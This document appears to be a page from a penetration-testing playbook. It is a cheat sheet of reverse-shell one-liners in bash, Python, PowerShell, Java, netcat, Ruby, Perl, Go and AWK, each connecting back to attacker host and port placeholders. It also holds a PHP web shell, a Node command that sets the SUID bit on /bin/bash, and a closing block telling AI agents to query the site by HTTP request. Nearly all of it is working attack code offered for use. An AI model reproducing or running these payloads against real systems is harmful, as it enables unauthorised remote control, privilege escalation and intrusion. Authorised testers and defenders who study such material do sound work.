# Reverse Shells

## Stable TTY Shell

```
nc -lvnp
python -c 'import pty;pty.spawn("/bin/bash")'
^Z
stty raw -echo
fg
echo $TERM && tput lines && tput cols
export TERM=xterm-256color
stty rows <num> columns <cols>
```

```
rlwrap nc -lvnp 1234
```

## Bash

### Bash TCP

```
bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
```

```
exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; done
```

```
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196
```

### Bash UDP

nc -u -lvnp 1234

```
sh -i >& /dev/udp/127.0.0.1/1234 0>&1
```

## Python

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",1234)); os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

## PowerShell

```
echo -n "$client = New-Object System.Net.Sockets.TCPClient('LHOST',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"| iconv -t utf-16le | base64 -w 0
powershell -enc <payload>
```

## PHP

```
<?php system($_GET['cmd']); ?>
```

## Java

```
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor()
```

Node JS:

```
require('child_process').exec('bash -c "chmod u+s /bin/bash"')
```

## Netcat

```
nc -e /bin/sh LHOST LPORT
```

```
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f
```

```
rm -f backpipe; mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc LHOST LPORT 1>/tmp/backpipe
```

## Ruby

```
ruby -rsocket -e 'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

Windows specific:

```
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## Perl

```
perl -e 'use Socket;$i="LHOST";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Windows specific:

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Golang

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

## AWK

```
awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/handy/reverse-shells.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
